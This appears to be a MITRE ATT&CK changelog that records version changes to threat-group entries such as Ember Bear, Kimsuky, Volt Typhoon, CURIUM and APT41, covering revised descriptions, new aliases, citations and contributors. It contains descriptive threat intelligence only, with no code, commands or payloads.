Description: Winter Vivern is a group linked to Russian and Belorussian interests active since at least 2020 targeting various European government and NGO entities, along with sporadic targeting of Indian and US victims. The group leverages a combination of document-based phishing activity and server-side exploitation for initial access, leveraging adversary-controlled and -created infrastructure for follow-on command and control.(Citation: DomainTools WinterVivern 2021)(Citation: SentinelOne WinterVivern 2023)(Citation: CERT-UA WinterVivern 2023)(Citation: ESET WinterVivern 2023)(Citation: Proofpoint WinterVivern 2023)
Major Version Changes
[G0143] Aquatic Panda
Current version: 2.0
Version changed from: 1.1 → 2.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-21 21:16:34.243000+00:00 | 2024-10-10 14:31:59.099000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Jai Minton, CrowdStrike |
| x_mitre_contributors | | Jennifer Kim Roman, CrowdStrike |
[G1012] CURIUM
Current version: 3.0
Version changed from: 2.0 → 3.0
|
|
|---|
| t | [CURIUM](https://attack.mitre.org/groups/G1012) is an Irania | t | [CURIUM](https://attack.mitre.org/groups/G1012) is an Irania |
| n threat group first reported in November 2021 that has inve | | n threat group, first reported in September 2019 and active |
| sted in building a relationship with potential targets via s | | since at least July 2018, targeting IT service providers in |
| ocial media over a period of months to establish trust and c | | the Middle East.(Citation: Symantec Tortoiseshell 2019) [CUR |
| onfidence before sending malware. Security researchers note | | IUM](https://attack.mitre.org/groups/G1012) has since invest |
| [CURIUM](https://attack.mitre.org/groups/G1012) has demonstr | | ed in building relationships with potential targets via soci |
| ated great patience and persistence by chatting with potenti | | al media over a period of months to establish trust and conf |
| al targets daily and sending benign files to help lower thei | | idence before sending malware. Security researchers note [CU |
| r security consciousness.(Citation: Microsoft Iranian Threat | | RIUM](https://attack.mitre.org/groups/G1012) has demonstrate |
| Actor Trends November 2021) | | d great patience and persistence by chatting with potential |
| | | targets daily and sending benign files to help lower their s |
| | | ecurity consciousness.(Citation: Microsoft Iranian Threat Ac |
| | | tor Trends November 2021) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | ['Denise Tan', 'Wirapong Petshagun'] |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-17 22:09:00.876000+00:00 | 2024-10-02 12:13:42.278000+00:00 |
| description | [CURIUM](https://attack.mitre.org/groups/G1012) is an Iranian threat group first reported in November 2021 that has invested in building a relationship with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note [CURIUM](https://attack.mitre.org/groups/G1012) has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.(Citation: Microsoft Iranian Threat Actor Trends November 2021) | [CURIUM](https://attack.mitre.org/groups/G1012) is an Iranian threat group, first reported in September 2019 and active since at least July 2018, targeting IT service providers in the Middle East.(Citation: Symantec Tortoiseshell 2019) [CURIUM](https://attack.mitre.org/groups/G1012) has since invested in building relationships with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note [CURIUM](https://attack.mitre.org/groups/G1012) has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.(Citation: Microsoft Iranian Threat Actor Trends November 2021) |
| x_mitre_version | 2.0 | 3.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | Yellow Liderc |
| external_references | | {'source_name': 'Yellow Liderc', 'description': '(Citation: PWC Yellow Liderc 2023)'} |
| external_references | | {'source_name': 'PWC Yellow Liderc 2023', 'description': 'PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.', 'url': 'https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html'} |
| external_references | | {'source_name': 'Symantec Tortoiseshell 2019', 'description': 'Symantec Threat Hunter Team. (2019, September 18). Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks. Retrieved May 20, 2024.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain'} |
[G1003] Ember Bear
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | [Ember Bear](https://attack.mitre.org/groups/G1003) is a sus | t | [Ember Bear](https://attack.mitre.org/groups/G1003) is a Rus |
| pected Russian state-sponsored cyber espionage group that ha | | sian state-sponsored cyber espionage group that has been act |
| s been active since at least March 2021. [Ember Bear](https: | | ive since at least 2020, linked to Russia's General Staff Ma |
| //attack.mitre.org/groups/G1003) has primarily focused their | | in Intelligence Directorate (GRU) 161st Specialist Training |
| operations against Ukraine and Georgia, but has also target | | Center (Unit 29155).(Citation: CISA GRU29155 2024) [Ember Be |
| ed Western European and North American foreign ministries, p | | ar](https://attack.mitre.org/groups/G1003) has primarily foc |
| harmaceutical companies, and financial sector organizations. | | used operations against Ukrainian government and telecommuni |
| Security researchers assess [Ember Bear](https://attack.mit | | cation entities, but has also operated against critical infr |
| re.org/groups/G1003) likely conducted the [WhisperGate](http | | astructure entities in Europe and the Americas.(Citation: Ca |
| s://attack.mitre.org/software/S0689) destructive wiper attac | | det Blizzard emerges as novel threat actor) [Ember Bear](htt |
| ks against Ukraine in early 2022.(Citation: CrowdStrike Embe | | ps://attack.mitre.org/groups/G1003) conducted the [WhisperGa |
| r Bear Profile March 2022)(Citation: Mandiant UNC2589 March | | te](https://attack.mitre.org/software/S0689) destructive wip |
| 2022)(Citation: Palo Alto Unit 42 OutSteel SaintBot February | | er attacks against Ukraine in early 2022.(Citation: CrowdStr |
| 2022 ) | | ike Ember Bear Profile March 2022)(Citation: Mandiant UNC258 |
| | | 9 March 2022)(Citation: CISA GRU29155 2024) There is some co |
| | | nfusion as to whether [Ember Bear](https://attack.mitre.org/ |
| | | groups/G1003) overlaps with another Russian-linked entity re |
| | | ferred to as [Saint Bear](https://attack.mitre.org/groups/G1 |
| | | 031). At present available evidence strongly suggests these |
| | | are distinct activities with different behavioral profiles.( |
| | | Citation: Cadet Blizzard emerges as novel threat actor)(Cita |
| | | tion: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-22 03:40:53.311000+00:00 | 2024-09-06 21:43:44.941000+00:00 |
| description | [Ember Bear](https://attack.mitre.org/groups/G1003) is a suspected Russian state-sponsored cyber espionage group that has been active since at least March 2021. [Ember Bear](https://attack.mitre.org/groups/G1003) has primarily focused their operations against Ukraine and Georgia, but has also targeted Western European and North American foreign ministries, pharmaceutical companies, and financial sector organizations. Security researchers assess [Ember Bear](https://attack.mitre.org/groups/G1003) likely conducted the [WhisperGate](https://attack.mitre.org/software/S0689) destructive wiper attacks against Ukraine in early 2022.(Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Mandiant UNC2589 March 2022)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) | [Ember Bear](https://attack.mitre.org/groups/G1003) is a Russian state-sponsored cyber espionage group that has been active since at least 2020, linked to Russia's General Staff Main Intelligence Directorate (GRU) 161st Specialist Training Center (Unit 29155).(Citation: CISA GRU29155 2024) [Ember Bear](https://attack.mitre.org/groups/G1003) has primarily focused operations against Ukrainian government and telecommunication entities, but has also operated against critical infrastructure entities in Europe and the Americas.(Citation: Cadet Blizzard emerges as novel threat actor) [Ember Bear](https://attack.mitre.org/groups/G1003) conducted the [WhisperGate](https://attack.mitre.org/software/S0689) destructive wiper attacks against Ukraine in early 2022.(Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Mandiant UNC2589 March 2022)(Citation: CISA GRU29155 2024) There is some confusion as to whether [Ember Bear](https://attack.mitre.org/groups/G1003) overlaps with another Russian-linked entity referred to as [Saint Bear](https://attack.mitre.org/groups/G1031). At present available evidence strongly suggests these are distinct activities with different behavioral profiles.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) |
| external_references[4]['source_name'] | Lorec Bear | DEV-0586 |
| external_references[4]['description'] | (Citation: CrowdStrike Ember Bear Profile March 2022) | (Citation: Cadet Blizzard emerges as novel threat actor) |
| external_references[2]['description'] | (Citation: CrowdStrike Ember Bear Profile March 2022) | (Citation: CISA GRU29155 2024) |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.1 | 2.0 |
| aliases[5] | Lorec Bear | Frozenvista |
| external_references[3] | {'source_name': 'Lorec53', 'description': '(Citation: CrowdStrike Ember Bear Profile March 2022)'} | {'source_name': 'Frozenvista', 'description': '(Citation: CISA GRU29155 2024)'} |
| aliases[4] | Lorec53 | Cadet Blizzard |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | DEV-0586 |
| external_references | | {'source_name': 'Cadet Blizzard', 'description': '(Citation: Cadet Blizzard emerges as novel threat actor)'} |
| external_references | | {'source_name': 'Cadet Blizzard emerges as novel threat actor', 'description': 'Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.', 'url': 'https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/'} |
| external_references | | {'source_name': 'CISA GRU29155 2024', 'description': 'US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.', 'url': 'https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf'} |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| aliases | Saint Bear | |
| external_references | {'source_name': 'Saint Bear', 'description': '(Citation: CrowdStrike Ember Bear Profile March 2022)'} | |
[G0094] Kimsuky
Current version: 5.0
Version changed from: 4.0 → 5.0
|
|
|---|
| t | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North | t | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North |
| Korea-based cyber espionage group that has been active since | | Korea-based cyber espionage group that has been active since |
| at least 2012. The group initially focused on targeting Sou | | at least 2012. The group initially focused on targeting Sou |
| th Korean government entities, think tanks, and individuals | | th Korean government entities, think tanks, and individuals |
| identified as experts in various fields, and expanded its op | | identified as experts in various fields, and expanded its op |
| erations to include the United States, Russia, Europe, and t | | erations to include the UN and the government, education, bu |
| he UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has | | siness services, and manufacturing sectors in the United Sta |
| focused its intelligence collection activities on foreign po | | tes, Japan, Russia, and Europe. [Kimsuky](https://attack.mit |
| licy and national security issues related to the Korean peni | | re.org/groups/G0094) has focused its intelligence collection |
| nsula, nuclear policy, and sanctions.(Citation: EST Kimsuky | | activities on foreign policy and national security issues r |
| April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybe | | elated to the Korean peninsula, nuclear policy, and sanction |
| reason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky | | s. [Kimsuky](https://attack.mitre.org/groups/G0094) operatio |
| June 2021)(Citation: CISA AA20-301A Kimsuky) [Kimsuky](htt | | ns have overlapped with those of other North Korean cyber es |
| ps://attack.mitre.org/groups/G0094) was assessed to be respo | | pionage actors likely as a result of ad hoc collaborations o |
| nsible for the 2014 Korea Hydro & Nuclear Power Co. compromi | | r other limited resource sharing.(Citation: EST Kimsuky Apri |
| se; other notable campaigns include Operation STOLEN PENCIL | | l 2019)(Citation: Cybereason Kimsuky November 2020)(Citation |
| (2018), Operation Kabar Cobra (2019), and Operation Smoke Sc | | : Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A K |
| reen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Cita | | imsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proof |
| tion: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab K | | point TA427 April 2024) [Kimsuky](https://attack.mitre.org/ |
| imsuky Kabar Cobra Feb 2019) North Korean group definitions | | groups/G0094) was assessed to be responsible for the 2014 Ko |
| are known to have significant overlap, and some security re | | rea Hydro & Nuclear Power Co. compromise; other notable camp |
| searchers report all North Korean state-sponsored cyber acti | | aigns include Operation STOLEN PENCIL (2018), Operation Kaba |
| vity under the name [Lazarus Group](https://attack.mitre.org | | r Cobra (2019), and Operation Smoke Screen (2019).(Citation: |
| /groups/G0032) instead of tracking clusters or subgroups. | | Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky Smok |
| | | eScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb |
| | | 2019) North Korean group definitions are known to have sig |
| | | nificant overlap, and some security researchers report all N |
| | | orth Korean state-sponsored cyber activity under the name [L |
| | | azarus Group](https://attack.mitre.org/groups/G0032) instead |
| | | of tracking clusters or subgroups. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-17 22:11:50.321000+00:00 | 2024-10-10 14:32:27.067000+00:00 |
| description | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)
[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)
North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the UN and the government, education, business services, and manufacturing sectors in the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. [Kimsuky](https://attack.mitre.org/groups/G0094) operations have overlapped with those of other North Korean cyber espionage actors likely as a result of ad hoc collaborations or other limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)
[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)
North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. |
| external_references[2]['description'] | (Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021) | (Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024) |
| external_references[3]['description'] | (Citation: Microsoft Threat Actor Naming July 2023) | (Citation: Microsoft Threat Actor Naming July 2023)(Citation: Proofpoint TA427 April 2024) |
| external_references[9]['source_name'] | BRI Kimsuky April 2019 | Proofpoint TA427 April 2024 |
| external_references[9]['description'] | BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019. | Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427’s Art of Information Gathering. Retrieved May 3, 2024. |
| external_references[9]['url'] | https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/ | https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering |
| x_mitre_version | 4.0 | 5.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | APT43 |
| aliases | | TA427 |
| external_references | | {'source_name': 'APT43', 'description': '(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)'} |
| external_references | | {'source_name': 'TA427', 'description': '(Citation: Proofpoint TA427 April 2024)'} |
| external_references | | {'source_name': 'Mandiant APT43 March 2024', 'description': 'Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.', 'url': 'https://services.google.com/fh/files/misc/apt43-report-en.pdf'} |
[G1017] Volt Typhoon
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | [Volt Typhoon](https://attack.mitre.org/groups/G1017) is a P | t | [Volt Typhoon](https://attack.mitre.org/groups/G1017) is a P |
| eople's Republic of China (PRC) state-sponsored actor that h | | eople's Republic of China (PRC) state-sponsored actor that h |
| as been active since at least 2021. [Volt Typhoon](https://a | | as been active since at least 2021 primarily targeting criti |
| ttack.mitre.org/groups/G1017) typically focuses on espionage | | cal infrastructure organizations in the US and its territori |
| and information gathering and has targeted critical infrast | | es including Guam. [Volt Typhoon](https://attack.mitre.org/g |
| ructure organizations in the US including Guam. [Volt Typhoo | | roups/G1017)'s targeting and pattern of behavior have been a |
| n](https://attack.mitre.org/groups/G1017) has emphasized ste | | ssessed as pre-positioning to enable lateral movement to ope |
| alth in operations using web shells, living-off-the-land (LO | | rational technology (OT) assets for potential destructive or |
| TL) binaries, hands on keyboard activities, and stolen crede | | disruptive attacks. [Volt Typhoon](https://attack.mitre.org |
| ntials.(Citation: Microsoft Volt Typhoon May 2023)(Citation: | | /groups/G1017) has emphasized stealth in operations using we |
| Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citati | | b shells, living-off-the-land (LOTL) binaries, hands on keyb |
| on: Secureworks BRONZE SILHOUETTE May 2023) | | oard activities, and stolen credentials.(Citation: CISA AA24 |
| | | -038A PRC Critical Infrastructure February 2024)(Citation: M |
| | | icrosoft Volt Typhoon May 2023)(Citation: Joint Cybersecurit |
| | | y Advisory Volt Typhoon June 2023)(Citation: Secureworks BRO |
| | | NZE SILHOUETTE May 2023) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-28 04:14:40.834000+00:00 | 2024-05-21 20:12:20.029000+00:00 |
| description | [Volt Typhoon](https://attack.mitre.org/groups/G1017) is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021. [Volt Typhoon](https://attack.mitre.org/groups/G1017) typically focuses on espionage and information gathering and has targeted critical infrastructure organizations in the US including Guam. [Volt Typhoon](https://attack.mitre.org/groups/G1017) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023) | [Volt Typhoon](https://attack.mitre.org/groups/G1017) is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021 primarily targeting critical infrastructure organizations in the US and its territories including Guam. [Volt Typhoon](https://attack.mitre.org/groups/G1017)'s targeting and pattern of behavior have been assessed as pre-positioning to enable lateral movement to operational technology (OT) assets for potential destructive or disruptive attacks. [Volt Typhoon](https://attack.mitre.org/groups/G1017) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023) |
| external_references[1]['description'] | (Citation: Secureworks BRONZE SILHOUETTE May 2023) | (Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024) |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | Vanguard Panda |
| aliases | | DEV-0391 |
| aliases | | UNC3236 |
| aliases | | Voltzite |
| aliases | | Insidious Taurus |
| external_references | | {'source_name': 'Vanguard Panda', 'description': '(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)'} |
| external_references | | {'source_name': 'DEV-0391', 'description': '(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)'} |
| external_references | | {'source_name': 'UNC3236', 'description': '(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)'} |
| external_references | | {'source_name': 'Voltzite', 'description': '(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)'} |
| external_references | | {'source_name': 'Insidious Taurus', 'description': '(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)'} |
| external_references | | {'source_name': 'CISA AA24-038A PRC Critical Infrastructure February 2024', 'description': 'CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.', 'url': 'https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf'} |
Minor Version Changes
[G0007] APT28
Current version: 5.1
Version changed from: 5.0 → 5.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-04 19:07:48.903000+00:00 | 2024-10-10 14:31:01.968000+00:00 |
| x_mitre_version | 5.0 | 5.1 |
[G0016] APT29
Current version: 6.1
Version changed from: 6.0 → 6.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-12 21:15:41.833000+00:00 | 2024-09-03 18:48:32.299000+00:00 |
| x_mitre_version | 6.0 | 6.1 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| aliases | StellarParticle | |
| external_references | {'source_name': 'StellarParticle', 'description': '(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: CrowdStrike StellarParticle January 2022)'} | |
[G0096] APT41
Current version: 4.1
Version changed from: 4.0 → 4.1
|
|
|---|
| t | [APT41](https://attack.mitre.org/groups/G0096) is a threat g | t | [APT41](https://attack.mitre.org/groups/G0096) is a threat g |
| roup that researchers have assessed as Chinese state-sponsor | | roup that researchers have assessed as Chinese state-sponsor |
| ed espionage group that also conducts financially-motivated | | ed espionage group that also conducts financially-motivated |
| operations. Active since at least 2012, [APT41](https://atta | | operations. Active since at least 2012, [APT41](https://atta |
| ck.mitre.org/groups/G0096) has been observed targeting healt | | ck.mitre.org/groups/G0096) has been observed targeting vario |
| hcare, telecom, technology, and video game industries in 14 | | us industries, including but not limited to healthcare, tele |
| countries. [APT41](https://attack.mitre.org/groups/G0096) ov | | com, technology, finance, education, retail and video game i |
| erlaps at least partially with public reporting on groups in | | ndustries in 14 countries.(Citation: apt41_mandiant) Notable |
| cluding BARIUM and [Winnti Group](https://attack.mitre.org/g | | behaviors include using a wide range of malware and tools t |
| roups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Gr | | o complete mission objectives. [APT41](https://attack.mitre. |
| oup IB APT 41 June 2021) | | org/groups/G0096) overlaps at least partially with public re |
| | | porting on groups including BARIUM and [Winnti Group](https: |
| | | //attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Au |
| | | g 2019)(Citation: Group IB APT 41 June 2021) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-03 15:20:38.791000+00:00 | 2024-10-10 14:31:35.326000+00:00 |
| description | [APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)
| [APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting various industries, including but not limited to healthcare, telecom, technology, finance, education, retail and video game industries in 14 countries.(Citation: apt41_mandiant) Notable behaviors include using a wide range of malware and tools to complete mission objectives. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)
|
| x_mitre_version | 4.0 | 4.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'apt41_mandiant', 'description': 'Mandiant. (n.d.). APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION. Retrieved June 11, 2024.', 'url': 'https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf'} |
[G0108] Blue Mockingbird
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 02:50:01.851000+00:00 | 2024-07-10 18:53:44.277000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
[G0047] Gamaredon Group
Current version: 3.1
Version changed from: 3.0 → 3.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-12-04 18:11:02.073000+00:00 | 2024-09-23 20:34:43.022000+00:00 |
| x_mitre_version | 3.0 | 3.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Yoshihiro Kori, NEC Corporation |
| x_mitre_contributors | | Manikantan Srinivasan, NEC Corporation India |
| x_mitre_contributors | | Pooja Natarajan, NEC Corporation India |
[G1001] HEXANE
Current version: 2.3
Version changed from: 2.2 → 2.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-09 19:27:00.371000+00:00 | 2024-08-14 15:24:19.141000+00:00 |
| x_mitre_version | 2.2 | 2.3 |
[G0119] Indrik Spider
Current version: 4.1
Version changed from: 4.0 → 4.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-17 22:10:56.266000+00:00 | 2024-10-28 19:11:56.485000+00:00 |
| x_mitre_version | 4.0 | 4.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | UNC2165 |
| external_references | | {'source_name': 'UNC2165', 'description': '(Citation: Mandiant_UNC2165)'} |
| external_references | | {'source_name': 'Mandiant_UNC2165', 'description': 'Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/'} |
| x_mitre_contributors | | Liran Ravich, CardinalOps |
[G0059] Magic Hound
Current version: 6.1
Version changed from: 6.0 → 6.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-01-08 21:54:31.501000+00:00 | 2024-07-10 18:56:00.833000+00:00 |
| x_mitre_version | 6.0 | 6.1 |
[G0069] MuddyWater
Current version: 5.1
Version changed from: 5.0 → 5.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-17 16:48:06.958000+00:00 | 2024-08-29 14:59:08.071000+00:00 |
| x_mitre_version | 5.0 | 5.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Marco Pedrinazzi, @pedrinazziM |
[G0049] OilRig
Current version: 4.1
Version changed from: 4.0 → 4.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 16:06:34.698000+00:00 | 2024-09-04 20:33:04.739000+00:00 |
| x_mitre_version | 4.0 | 4.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | ITG13 |
| external_references | | {'source_name': 'ITG13', 'description': '(Citation: IBM ZeroCleare Wiper December 2019)'} |
| external_references | | {'source_name': 'IBM ZeroCleare Wiper December 2019', 'description': 'Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.', 'url': 'https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/'} |
[G0034] Sandworm Team
Current version: 4.1
Version changed from: 4.0 → 4.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-06 19:05:38.712000+00:00 | 2024-09-12 17:37:44.040000+00:00 |
| external_references[21]['description'] | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024. |
| external_references[21]['url'] | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html |
| x_mitre_version | 4.0 | 4.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | APT44 |
| external_references | | {'source_name': 'APT44', 'description': '(Citation: mandiant_apt44_unearthing_sandworm)'} |
